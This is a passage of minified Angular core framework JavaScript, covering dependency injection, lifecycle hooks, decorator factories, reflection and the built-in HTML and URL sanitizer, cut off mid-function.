e={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:t,child:null,inI18n:!1};return null!==t&&(t.child=e),e}function Ie(){const t=Jt.lFrame;return Jt.lFrame=t.parent,t.currentTNode=null,t.lView=null,t}const ke=Ie;function Ae(){const t=Ie();t.isParent=!0,t.tView=null,t.selectedIndex=-1,t.contextLView=null,t.elementDepthCount=0,t.currentDirectiveIndex=-1,t.currentNamespace=null,t.bindingRootIndex=-1,t.bindingIndex=-1,t.currentQueryIndex=0}function De(t){return(Jt.lFrame.contextLView=function(t,e){for(;t>0;)e=e[15],t--;return e}(t,Jt.lFrame.contextLView))[8]}function Ne(){return Jt.lFrame.selectedIndex}function Re(t){Jt.lFrame.selectedIndex=t}function Le(){const t=Jt.lFrame;return qt(t.tView,t.selectedIndex)}function je(){Jt.lFrame.currentNamespace=Rt}function Fe(){Jt.lFrame.currentNamespace=Lt}function Ve(){Jt.lFrame.currentNamespace=null}function Be(t,e){for(let n=e.directiveStart,r=e.directiveEnd;n<r;n++){const e=t.data[n].type.prototype,{ngAfterContentInit:r,ngAfterContentChecked:i,ngAfterViewInit:o,ngAfterViewChecked:s,ngOnDestroy:a}=e;r&&(t.contentHooks||(t.contentHooks=[])).push(-n,r),i&&((t.contentHooks||(t.contentHooks=[])).push(n,i),(t.contentCheckHooks||(t.contentCheckHooks=[])).push(n,i)),o&&(t.viewHooks||(t.viewHooks=[])).push(-n,o),s&&((t.viewHooks||(t.viewHooks=[])).push(n,s),(t.viewCheckHooks||(t.viewCheckHooks=[])).push(n,s)),null!=a&&(t.destroyHooks||(t.destroyHooks=[])).push(n,a)}}function He(t,e,n){Ue(t,e,3,n)}function ze(t,e,n,r){(3&t[2])===n&&Ue(t,e,n,r)}function Ge(t,e){let n=t[2];(3&n)===e&&(n&=2047,n+=1,t[2]=n)}function Ue(t,e,n,r){const i=null!=r?r:-1,o=e.length-1;let s=0;for(let a=void 0!==r?65535&t[18]:0;a<o;a++)if("number"==typeof e[a+1]){if(s=e[a],null!=r&&s>=r)break}else e[a]<0&&(t[18]+=65536),(s<i||-1==i)&&(qe(t,n,e,a),t[18]=(4294901760&t[18])+a+2),a++}function qe(t,e,n,r){const i=n[r]<0,o=n[r+1],s=t[i?-n[r]:n[r]];if(i){if(t[2]>>11<t[18]>>16&&(3&t[2])===e){t[2]+=2048,Nt(4,s,o);try{o.call(s)}finally{Nt(5,s,o)}}}else{Nt(4,s,o);try{o.call(s)}finally{Nt(5,s,o)}}}class We{constructor(t,e,n){this.factory=t,this.resolving=!1,this.canSeeViewProviders=e,this.injectImpl=n}}function Ke(t,e,n){const r=Bt(t);let i=0;for(;i<n.length;){const o=n[i];if("number"==typeof o){if(0!==o)break;i++;const s=n[i++],a=n[i++],c=n[i++];r?t.setAttribute(e,a,c,s):e.setAttributeNS(s,a,c)}else{const s=o,a=n[++i];Qe(s)?r&&t.setProperty(e,s,a):r?t.setAttribute(e,s,a):e.setAttribute(s,a),i++}}return i}function $e(t){return 3===t||4===t||6===t}function Qe(t){return 64===t.charCodeAt(0)}function Xe(t,e){if(null!==e&&0!==e.length)if(null===t||0===t.length)t=e.slice();else{let n=-1;for(let r=0;r<e.length;r++){const i=e[r];"number"==typeof i?n=i:0===n||Ze(t,n,i,null,-1===n||2===n?e[++r]:null)}}return t}function Ze(t,e,n,r,i){let o=0,s=t.length;if(-1===e)s=-1;else for(;o<t.length;){const n=t[o++];if("number"==typeof n){if(n===e){s=-1;break}if(n>e){s=o-1;break}}}for(;o<t.length;){const e=t[o];if("number"==typeof e)break;if(e===n){if(null===r)return void(null!==i&&(t[o+1]=i));if(r===t[o+1])return void(t[o+2]=i)}o++,null!==r&&o++,null!==i&&o++}-1!==s&&(t.splice(s,0,e),o=s+1),t.splice(o++,0,n),null!==r&&t.splice(o++,0,r),null!==i&&t.splice(o++,0,i)}function Ye(t){return-1!==t}function Je(t){return 32767&t}function tn(t,e){let n=function(t){return t>>16}(t),r=e;for(;n>0;)r=r[15],n--;return r}let en=!0;function nn(t){const e=en;return en=t,e}let rn=0;function on(t,e){const n=an(t,e);if(-1!==n)return n;const r=e[1];r.firstCreatePass&&(t.injectorIndex=e.length,sn(r.data,t),sn(e,null),sn(r.blueprint,null));const i=cn(t,e),o=t.injectorIndex;if(Ye(i)){const t=Je(i),n=tn(i,e),r=n[1].data;for(let i=0;i<8;i++)e[o+i]=n[t+i]|r[t+i]}return e[o+8]=i,o}function sn(t,e){t.push(0,0,0,0,0,0,0,0,e)}function an(t,e){return-1===t.injectorIndex||t.parent&&t.parent.injectorIndex===t.injectorIndex||null===e[t.injectorIndex+8]?-1:t.injectorIndex}function cn(t,e){if(t.parent&&-1!==t.parent.injectorIndex)return t.parent.injectorIndex;let n=0,r=null,i=e;for(;null!==i;){const t=i[1],e=t.type;if(r=2===e?t.declTNode:1===e?i[6]:null,null===r)return-1;if(n++,i=i[15],-1!==r.injectorIndex)return r.injectorIndex|n<<16}return-1}function ln(t,e,n){!function(t,e,n){let r;"string"==typeof n?r=n.charCodeAt(0)||0:n.hasOwnProperty(et)&&(r=n[et]),null==r&&(r=n[et]=rn++);const i=255&r;e.data[t+(i>>5)]|=1<<i}(t,e,n)}function un(t,e){if("class"===e)return t.classes;if("style"===e)return t.styles;const n=t.attrs;if(n){const t=n.length;let r=0;for(;r<t;){const i=n[r];if($e(i))break;if(0===i)r+=2;else if("number"==typeof i)for(r++;r<t&&"string"==typeof n[r];)r++;else{if(i===e)return n[r+1];r+=2}}}return null}function dn(t,e,n){if(n&D.Optional)return t;C(e,"NodeInjector")}function hn(t,e,n,r){if(n&D.Optional&&void 0===r&&(r=null),0==(n&(D.Self|D.Host))){const i=t[9],o=L(void 0);try{return i?i.get(e,r,n&D.Optional):j(e,r,n&D.Optional)}finally{L(o)}}return dn(r,e,n)}function pn(t,e,n,r=D.Default,i){if(null!==t){const o=function(t){if("string"==typeof t)return t.charCodeAt(0)||0;const e=t.hasOwnProperty(et)?t[et]:void 0;return"number"==typeof e?e>=0?255&e:gn:e}(n);if("function"==typeof o){if(!Me(e,t,r))return r&D.Host?dn(i,n,r):hn(e,n,r,i);try{const t=o(r);if(null!=t||r&D.Optional)return t;C(n)}finally{ke()}}else if("number"==typeof o){let i=null,s=an(t,e),a=-1,c=r&D.Host?e[16][6]:null;for((-1===s||r&D.SkipSelf)&&(a=-1===s?cn(t,e):e[s+8],-1!==a&&_n(r,!1)?(i=e[1],s=Je(a),e=tn(a,e)):s=-1);-1!==s;){const t=e[1];if(vn(o,s,t.data)){const t=mn(s,e,n,i,r,c);if(t!==fn)return t}a=e[s+8],-1!==a&&_n(r,e[1].data[s+8]===c)&&vn(o,s,e)?(i=t,s=Je(a),e=tn(a,e)):s=-1}}}return hn(e,n,r,i)}const fn={};function gn(){return new Cn(se(),re())}function mn(t,e,n,r,i,o){const s=e[1],a=s.data[t+8],c=yn(a,s,n,null==r?_t(a)&&en:r!=s&&0!=(3&a.type),i&D.Host&&o===a);return null!==c?bn(e,s,c,a):fn}function yn(t,e,n,r,i){const o=t.providerIndexes,s=e.data,a=1048575&o,c=t.directiveStart,l=o>>20,u=i?a+l:t.directiveEnd;for(let d=r?a:a+l;d<u;d++){const t=s[d];if(d<c&&n===t||d>=c&&t.type===n)return d}if(i){const t=s[c];if(t&&wt(t)&&t.type===n)return c}return null}function bn(t,e,n,r){let i=t[n];const o=e.data;if(function(t){return t instanceof We}(i)){const s=i;s.resolving&&function(t,e){throw new b("200",`Circular dependency in DI detected for ${t}`)}(_(o[n]));const a=nn(s.canSeeViewProviders);s.resolving=!0;const c=s.injectImpl?L(s.injectImpl):null;Me(t,r,D.Default);try{i=t[n]=s.factory(void 0,o,t,r),e.firstCreatePass&&n>=r.directiveStart&&function(t,e,n){const{ngOnChanges:r,ngOnInit:i,ngDoCheck:o}=e.type.prototype;if(r){const r=Ot(e);(n.preOrderHooks||(n.preOrderHooks=[])).push(t,r),(n.preOrderCheckHooks||(n.preOrderCheckHooks=[])).push(t,r)}i&&(n.preOrderHooks||(n.preOrderHooks=[])).push(0-t,i),o&&((n.preOrderHooks||(n.preOrderHooks=[])).push(t,o),(n.preOrderCheckHooks||(n.preOrderCheckHooks=[])).push(t,o))}(n,o[n],e)}finally{null!==c&&L(c),nn(a),s.resolving=!1,ke()}}return i}function vn(t,e,n){return!!(n[e+(t>>5)]&1<<t)}function _n(t,e){return!(t&D.Self||t&D.Host&&e)}class Cn{constructor(t,e){this._tNode=t,this._lView=e}get(t,e,n){return pn(this._tNode,this._lView,t,n,e)}}function wn(t){return F(()=>{const e=t.prototype.constructor,n=e[tt]||xn(e),r=Object.prototype;let i=Object.getPrototypeOf(t.prototype).constructor;for(;i&&i!==r;){const t=i[tt]||xn(i);if(t&&t!==n)return t;i=Object.getPrototypeOf(i)}return t=>new t})}function xn(t){return y(t)?()=>{const e=xn(m(t));return e&&e()}:Pt(t)}function Pn(t){return un(se(),t)}const Sn="__annotations__",Mn="__parameters__",On="__prop__metadata__";function En(t,e,n,r,i){return F(()=>{const o=Tn(e);function s(...t){if(this instanceof s)return o.call(this,...t),this;const e=new s(...t);return function(n){return i&&i(n,...t),(n.hasOwnProperty(Sn)?n[Sn]:Object.defineProperty(n,Sn,{value:[]})[Sn]).push(e),r&&r(n),n}}return n&&(s.prototype=Object.create(n.prototype)),s.prototype.ngMetadataName=t,s.annotationCls=s,s})}function Tn(t){return function(...e){if(t){const n=t(...e);for(const t in n)this[t]=n[t]}}}function In(t,e,n){return F(()=>{const r=Tn(e);function i(...t){if(this instanceof i)return r.apply(this,t),this;const e=new i(...t);return n.annotation=e,n;function n(t,n,r){const i=t.hasOwnProperty(Mn)?t[Mn]:Object.defineProperty(t,Mn,{value:[]})[Mn];for(;i.length<=r;)i.push(null);return(i[r]=i[r]||[]).push(e),t}}return n&&(i.prototype=Object.create(n.prototype)),i.prototype.ngMetadataName=t,i.annotationCls=i,i})}function kn(t,e,n,r){return F(()=>{const i=Tn(e);function o(...t){if(this instanceof o)return i.apply(this,t),this;const e=new o(...t);return function(n,i){const o=n.constructor,s=o.hasOwnProperty(On)?o[On]:Object.defineProperty(o,On,{value:{}})[On];s[i]=s.hasOwnProperty(i)&&s[i]||[],s[i].unshift(e),r&&r(n,i,...t)}}return n&&(o.prototype=Object.create(n.prototype)),o.prototype.ngMetadataName=t,o.annotationCls=o,o})}function An(){return In("Attribute",t=>({attributeName:t,__NG_ELEMENT_ID__:()=>Pn(t)}))}const Dn=An();class Nn{constructor(t,e){this._desc=t,this.ngMetadataName="InjectionToken",this.\u0275prov=void 0,"number"==typeof e?this.__NG_ELEMENT_ID__=e:void 0!==e&&(this.\u0275prov=x({token:this,providedIn:e.providedIn||"root",factory:e.factory}))}toString(){return`InjectionToken ${this._desc}`}}const Rn=new Nn("AnalyzeForEntryComponents");class Ln{}const jn=kn("ContentChildren",(t,e={})=>Object.assign({selector:t,first:!1,isViewQuery:!1,descendants:!1,emitDistinctChangesOnly:!0},e),Ln),Fn=kn("ContentChild",(t,e={})=>Object.assign({selector:t,first:!0,isViewQuery:!1,descendants:!0},e),Ln),Vn=kn("ViewChildren",(t,e={})=>Object.assign({selector:t,first:!1,isViewQuery:!0,descendants:!0,emitDistinctChangesOnly:!0},e),Ln),Bn=kn("ViewChild",(t,e)=>Object.assign({selector:t,first:!0,isViewQuery:!0,descendants:!0},e),Ln);var Hn=(()=>((Hn=Hn||{})[Hn.Directive=0]="Directive",Hn[Hn.Component=1]="Component",Hn[Hn.Injectable=2]="Injectable",Hn[Hn.Pipe=3]="Pipe",Hn[Hn.NgModule=4]="NgModule",Hn))();function zn(t){const e=W.ng;if(e&&e.\u0275compilerFacade)return e.\u0275compilerFacade;throw new Error("JIT compiler unavailable")}const Gn=Function;function Un(t){return"function"==typeof t}function qn(t,e){void 0===e&&(e=t);for(let n=0;n<t.length;n++){let r=t[n];Array.isArray(r)?(e===t&&(e=t.slice(0,n)),qn(r,e)):e!==t&&e.push(r)}return e}function Wn(t,e){t.forEach(t=>Array.isArray(t)?Wn(t,e):e(t))}function Kn(t,e,n){e>=t.length?t.push(n):t.splice(e,0,n)}function $n(t,e){return e>=t.length-1?t.pop():t.splice(e,1)[0]}function Qn(t,e){const n=[];for(let r=0;r<t;r++)n.push(e);return n}function Xn(t,e,n){let r=Yn(t,e);return r>=0?t[1|r]=n:(r=~r,function(t,e,n,r){let i=t.length;if(i==e)t.push(n,r);else if(1===i)t.push(r,t[0]),t[0]=n;else{for(i--,t.push(t[i-1],t[i]);i>e;)t[i]=t[i-2],i--;t[e]=n,t[e+1]=r}}(t,r,e,n)),r}function Zn(t,e){const n=Yn(t,e);if(n>=0)return t[1|n]}function Yn(t,e){return function(t,e,n){let r=0,i=t.length>>n;for(;i!==r;){const o=r+(i-r>>1),s=t[o<<n];if(e===s)return o<<n;s>e?i=o:r=o+1}return~(i<<n)}(t,e,1)}const Jn=/^function\s+\S+\(\)\s*{[\s\S]+\.apply\(this,\s*(arguments|(?:[^()]+\(\[\],)?[^()]+\(arguments\))\)/,tr=/^class\s+[A-Za-z\d$_]*\s*extends\s+[^{]+{/,er=/^class\s+[A-Za-z\d$_]*\s*extends\s+[^{]+{[\s\S]*constructor\s*\(/,nr=/^class\s+[A-Za-z\d$_]*\s*extends\s+[^{]+{[\s\S]*constructor\s*\(\)\s*{\s*super\(\.\.\.arguments\)/;class rr{constructor(t){this._reflect=t||W.Reflect}isReflectionEnabled(){return!0}factory(t){return(...e)=>new t(...e)}_zipTypesAndAnnotations(t,e){let n;n=Qn(void 0===t?e.length:t.length);for(let r=0;r<n.length;r++)n[r]=void 0===t?[]:t[r]&&t[r]!=Object?[t[r]]:[],e&&null!=e[r]&&(n[r]=n[r].concat(e[r]));return n}_ownParameters(t,e){const n=t.toString();if(Jn.test(r=n)||nr.test(r)||tr.test(r)&&!er.test(r))return null;var r;if(t.parameters&&t.parameters!==e.parameters)return t.parameters;const i=t.ctorParameters;if(i&&i!==e.ctorParameters){const t="function"==typeof i?i():i,e=t.map(t=>t&&t.type),n=t.map(t=>t&&ir(t.decorators));return this._zipTypesAndAnnotations(e,n)}const o=t.hasOwnProperty(Mn)&&t[Mn],s=this._reflect&&this._reflect.getOwnMetadata&&this._reflect.getOwnMetadata("design:paramtypes",t);return s||o?this._zipTypesAndAnnotations(s,o):Qn(t.length)}parameters(t){if(!Un(t))return[];const e=or(t);let n=this._ownParameters(t,e);return!n&&e!==Object&&(n=this.parameters(e)),n||[]}_ownAnnotations(t,e){if(t.annotations&&t.annotations!==e.annotations){let e=t.annotations;return"function"==typeof e&&e.annotations&&(e=e.annotations),e}return t.decorators&&t.decorators!==e.decorators?ir(t.decorators):t.hasOwnProperty(Sn)?t[Sn]:null}annotations(t){if(!Un(t))return[];const e=or(t),n=this._ownAnnotations(t,e)||[];return(e!==Object?this.annotations(e):[]).concat(n)}_ownPropMetadata(t,e){if(t.propMetadata&&t.propMetadata!==e.propMetadata){let e=t.propMetadata;return"function"==typeof e&&e.propMetadata&&(e=e.propMetadata),e}if(t.propDecorators&&t.propDecorators!==e.propDecorators){const e=t.propDecorators,n={};return Object.keys(e).forEach(t=>{n[t]=ir(e[t])}),n}return t.hasOwnProperty(On)?t[On]:null}propMetadata(t){if(!Un(t))return{};const e=or(t),n={};if(e!==Object){const t=this.propMetadata(e);Object.keys(t).forEach(e=>{n[e]=t[e]})}const r=this._ownPropMetadata(t,e);return r&&Object.keys(r).forEach(t=>{const e=[];n.hasOwnProperty(t)&&e.push(...n[t]),e.push(...r[t]),n[t]=e}),n}ownPropMetadata(t){return Un(t)&&this._ownPropMetadata(t,or(t))||{}}hasLifecycleHook(t,e){return t instanceof Gn&&e in t.prototype}guards(t){return{}}getter(t){return new Function("o","return o."+t+";")}setter(t){return new Function("o","v","return o."+t+" = v;")}method(t){return new Function("o","args",`if (!o.${t}) throw new Error('"${t}" is undefined');\n return o.${t}.apply(o, args);`)}importUri(t){return"object"==typeof t&&t.filePath?t.filePath:`./${h(t)}`}resourceUri(t){return`./${h(t)}`}resolveIdentifier(t,e,n,r){return r}resolveEnum(t,e){return t[e]}}function ir(t){return t?t.map(t=>new(0,t.type.annotationCls)(...t.args?t.args:[])):[]}function or(t){const e=t.prototype?Object.getPrototypeOf(t.prototype):null;return(e?e.constructor:null)||Object}const sr={},ar="__NG_DI_FLAG__",cr="ngTempTokenPath",lr=/\n/gm,ur="__source",dr=u({provide:String,useValue:u});let hr;function pr(t){const e=hr;return hr=t,e}function fr(t,e=D.Default){if(void 0===hr)throw new Error("inject() must be called from an injection context");return null===hr?j(t,void 0,e):hr.get(t,e&D.Optional?null:void 0,e)}function gr(t,e=D.Default){return(R()||fr)(m(t),e)}function mr(t){throw new Error("invalid")}const yr=gr;function br(t){const e=[];for(let n=0;n<t.length;n++){const r=m(t[n]);if(Array.isArray(r)){if(0===r.length)throw new Error("Arguments array must have arguments.");let t,n=D.Default;for(let e=0;e<r.length;e++){const i=r[e],o=_r(i);"number"==typeof o?-1===o?t=i.token:n|=o:t=i}e.push(gr(t,n))}else e.push(gr(r))}return e}function vr(t,e){return t[ar]=e,t.prototype[ar]=e,t}function _r(t){return t[ar]}function Cr(t,e,n,r){const i=t[cr];throw e[ur]&&i.unshift(e[ur]),t.message=function(t,e,n,r=null){t=t&&"\n"===t.charAt(0)&&"\u0275"==t.charAt(1)?t.substr(2):t;let i=h(e);if(Array.isArray(e))i=e.map(h).join(" -> ");else if("object"==typeof e){let t=[];for(let n in e)if(e.hasOwnProperty(n)){let r=e[n];t.push(n+":"+("string"==typeof r?JSON.stringify(r):h(r)))}i=`{${t.join(", ")}}`}return`${n}${r?"("+r+")":""}[${i}]: ${t.replace(lr,"\n ")}`}("\n"+t.message,i,n,r),t.ngTokenPath=i,t[cr]=null,t}const wr=t=>({token:t}),xr=vr(In("Inject",wr),-1),Pr=vr(In("Optional"),8),Sr=vr(In("Self"),2),Mr=vr(In("SkipSelf"),4),Or=vr(In("Host"),1);let Er=null;function Tr(){return Er=Er||new rr}function Ir(t){return kr(Tr().parameters(t))}function kr(t){return t.map(t=>function(t){const e={token:null,attribute:null,host:!1,optional:!1,self:!1,skipSelf:!1};if(Array.isArray(t)&&t.length>0)for(let n=0;n<t.length;n++){const r=t[n];if(void 0===r)continue;const i=Object.getPrototypeOf(r);if(r instanceof Pr||"Optional"===i.ngMetadataName)e.optional=!0;else if(r instanceof Mr||"SkipSelf"===i.ngMetadataName)e.skipSelf=!0;else if(r instanceof Sr||"Self"===i.ngMetadataName)e.self=!0;else if(r instanceof Or||"Host"===i.ngMetadataName)e.host=!0;else if(r instanceof xr)e.token=r.token;else if(r instanceof Dn){if(void 0===r.attributeName)throw new Error("Attribute name must be defined.");e.attribute=r.attributeName}else e.token=r}else e.token=void 0===t||Array.isArray(t)&&0===t.length?null:t;return e}(t))}function Ar(t){const e=[],n=new Map;function r(e){let r=n.get(e);if(!r){const i=t(e);n.set(e,r=i.then(jr))}return r}return Dr.forEach((t,n)=>{const i=[];t.templateUrl&&i.push(r(t.templateUrl).then(e=>{t.template=e}));const o=t.styleUrls,s=t.styles||(t.styles=[]),a=t.styles.length;o&&o.forEach((e,n)=>{s.push(""),i.push(r(e).then(r=>{s[a+n]=r,o.splice(o.indexOf(e),1),0==o.length&&(t.styleUrls=void 0)}))});const c=Promise.all(i).then(()=>function(t){Nr.delete(t)}(n));e.push(c)}),Lr(),Promise.all(e).then(()=>{})}let Dr=new Map;const Nr=new Set;function Rr(t){return!!(t.templateUrl&&!t.hasOwnProperty("template")||t.styleUrls&&t.styleUrls.length)}function Lr(){const t=Dr;return Dr=new Map,t}function jr(t){return"string"==typeof t?t:t.text()}let Fr,Vr;function Br(){if(void 0===Fr&&(Fr=null,W.trustedTypes))try{Fr=W.trustedTypes.createPolicy("angular",{createHTML:t=>t,createScript:t=>t,createScriptURL:t=>t})}catch(t){}return Fr}function Hr(t){var e;return(null===(e=Br())||void 0===e?void 0:e.createHTML(t))||t}function zr(){if(void 0===Vr&&(Vr=null,W.trustedTypes))try{Vr=W.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:t=>t,createScript:t=>t,createScriptURL:t=>t})}catch(t){}return Vr}function Gr(t){var e;return(null===(e=zr())||void 0===e?void 0:e.createHTML(t))||t}function Ur(t){var e;return(null===(e=zr())||void 0===e?void 0:e.createScript(t))||t}function qr(t){var e;return(null===(e=zr())||void 0===e?void 0:e.createScriptURL(t))||t}class Wr{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see https://g.co/ng/security#xss)`}}class Kr extends Wr{getTypeName(){return"HTML"}}class $r extends Wr{getTypeName(){return"Style"}}class Qr extends Wr{getTypeName(){return"Script"}}class Xr extends Wr{getTypeName(){return"URL"}}class Zr extends Wr{getTypeName(){return"ResourceURL"}}function Yr(t){return t instanceof Wr?t.changingThisBreaksApplicationSecurity:t}function Jr(t,e){const n=ti(t);if(null!=n&&n!==e){if("ResourceURL"===n&&"URL"===e)return!0;throw new Error(`Required a safe ${e}, got a ${n} (see https://g.co/ng/security#xss)`)}return n===e}function ti(t){return t instanceof Wr&&t.getTypeName()||null}function ei(t){return new Kr(t)}function ni(t){return new $r(t)}function ri(t){return new Qr(t)}function ii(t){return new Xr(t)}function oi(t){return new Zr(t)}function si(t){const e=new ci(t);return function(){try{return!!(new window.DOMParser).parseFromString(Hr(""),"text/html")}catch(t){return!1}}()?new ai(e):e}class ai{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const e=(new window.DOMParser).parseFromString(Hr(t),"text/html").body;return null===e?this.inertDocumentHelper.getInertBodyElement(t):(e.removeChild(e.firstChild),e)}catch(e){return null}}}class ci{constructor(t){if(this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert"),null==this.inertDocument.body){const t=this.inertDocument.createElement("html");this.inertDocument.appendChild(t);const e=this.inertDocument.createElement("body");t.appendChild(e)}}getInertBodyElement(t){const e=this.inertDocument.createElement("template");if("content"in e)return e.innerHTML=Hr(t),e;const n=this.inertDocument.createElement("body");return n.innerHTML=Hr(t),this.defaultDoc.documentMode&&this.stripCustomNsAttrs(n),n}stripCustomNsAttrs(t){const e=t.attributes;for(let r=e.length-1;0<r;r--){const n=e.item(r).name;("xmlns:ns1"===n||0===n.indexOf("ns1:"))&&t.removeAttribute(n)}let n=t.firstChild;for(;n;)n.nodeType===Node.ELEMENT_NODE&&this.stripCustomNsAttrs(n),n=n.nextSibling}}const li=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^&:/?#]*(?:[/?#]|$))/gi,ui=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+\/]+=*$/i;function di(t){return(t=String(t)).match(li)||t.match(ui)?t:"unsafe:"+t}function hi(t){return(t=String(t)).split(",").map(t=>di(t.trim())).join(", ")}function pi(t){const e={};for(const n of t.split(","))e[n]=!0;return e}function fi(...t){const e={};for(const n of t)for(const t in n)n.hasOwnProperty(t)&&(e[t]=!0);return e}const gi=pi("area,br,col,hr,img,wbr"),mi=pi("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),yi=pi("rp,rt"),bi=fi(gi,fi(mi,pi("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),fi(yi,pi("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),fi(yi,mi)),vi=pi("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),_i=pi("srcset"),Ci=fi(vi,_i,pi("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),pi("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),wi=pi("script,style,template");class xi{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let e=t.firstChild,n=!0;for(;e;)if(e.nodeType===Node.ELEMENT_NODE?n=this.startElement(e):e.nodeType===Node.TEXT_NODE?this.chars(e.nodeValue):this.sanitizedSomething=!0,n&&e.firstChild)e=e.firstChild;else for(;e;){e.nodeType===Node.ELEMENT_NODE&&this.endElement(e);let t=this.checkClobberedElement(e,e.nextSibling);if(t){e=t;break}e=this.checkClobberedElement(e,e.parentNode)}return this.buf.join("")}startElement(t){const e=t.nodeName.toLowerCase();if(!bi.hasOwnProperty(e))return this.sanitizedSomething=!0,!wi.hasOwnProperty(e);this.buf.push("<"),this.buf.push(e);const n=t.attributes;for(let r=0;r<n.length;r++){const t=n.item(r),e=t.name,i=e.toLowerCase();if(!Ci.hasOwnProperty(i)){this.sanitizedSomething=!0;continue}let o=t.value;vi[i]&&(o=di(o)),_i[i]&&(o=hi(o)),this.buf.push(" ",e,'="',Mi(o),'"')}return this.buf.push(">"),!0}endElement(t){const e=t.nodeName.toLowerCase();bi.hasOwnProperty(e)&&!gi.hasOwnProperty(e)&&(this.buf.push("</"),this.buf.push(e),this.buf.push(">"))}chars(t){this.buf.push(Mi(t))}checkClobberedElement(t,e){if(e&&(t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return e}}const Pi=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Si=/([^\#-~ |!])/g;function Mi(t){return t.replace(/&/g,"&").replace(Pi,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(Si,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let Oi;function Ei(t,e){let n=null;try{Oi=Oi||si(t);let r=e?String(e):"";n=Oi.getInertBodyElement(r);let i=5,o=r;do{if(0===i)throw new Error("Failed to sanitize html because the input is unstable");i--,r=o,o=n.innerHTML,n=Oi.getInertBodyElement(r)}while(r!==o);return Hr((new xi).sanitizeChildren(Ti(n)||n))}finally{if(n){const t=Ti(n)||n;for(;t.firstChild;)t.removeChild(t.firstChild)}}}function Ti(t){return"content"in t&&function(t){return t.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===t.nodeName}(t)?t.content:null}var Ii=(()=>((Ii=Ii||{})[Ii.NONE=0]="NONE",Ii[Ii.HTML=1]="HTML",Ii[Ii.STYLE=2]="STYLE",Ii[Ii.SCRIPT=3]="SCRIPT",Ii[Ii.URL=4]="URL",Ii[Ii.RESOURCE_URL=5]="RESOURCE_URL",Ii))();function ki(t){const e=Bi();return e?Gr(e.sanitize(Ii.HTML,t)||""):Jr(t,"HTML")?Gr(Yr(t)):Ei(Vt(),v(t))}function Ai(t){const e=Bi();return e?e.sanitize(Ii.STYLE,t)||"":Jr(t,"Style")?Yr(t):v(t)}function Di(t){const e=Bi();return e?e.sanitize(Ii.URL,t)||"":Jr(t,"URL")?Yr(t):di(v(t))}function Ni(t){const e=Bi();if(e)return qr(e.sanitize(Ii.RESOURCE_URL,t)||"");if(Jr(t,"ResourceURL"))return qr(Yr(t));throw new Error("unsafe value used in a resource URL context (see https://g.co/ng/security#xss)")}function Ri(t){const e=Bi();if(e)return Ur(e.sanitize(Ii.SCRIPT,t)||"");if(Jr(t,"Script"))return Ur(Yr(t));throw new Error("unsafe value used in a script context")}function Li(t){return Hr(t[0])}function ji(t){return function(t){var e;return(null===(e=Br())||void 0===e?void 0:e.createScriptURL(t))||t}(t[0])}function Fi(t,e){return"src"===e&&("embed"===t||"frame"===t||"iframe"===t||"media"===t||"script"===t)||"href"===e&&("base"===t||"link"===t)?Ni:Di}function Vi(t,e,n){return Fi(e,n)(t)}function Bi(){const t=re();return t&&t[12]}function Hi(t){let e=Wi(t);if(e){if(Array.isArray(e)){const n=e;let r,i,o;if(function(t){return t&&t.constructor&&t.constructor.\u0275cmp}(t)){if(r=Xi(n,t),-1==r)throw new Error("The provided component was not found in the application");i=t}else if(function(t){return t&&t.constructor&&t.constructor.\u0275dir}(t)){if(r=function(t,e){let n=t[1].firstChild;for(;n;){const r=n.directiveEnd;for(let i=n.directiveStart;i<r;i++)if(t[i]===e)return n.index;n=Qi(n)}return-1}(n,t),-1==r)throw new Error("The provided directive was not found in 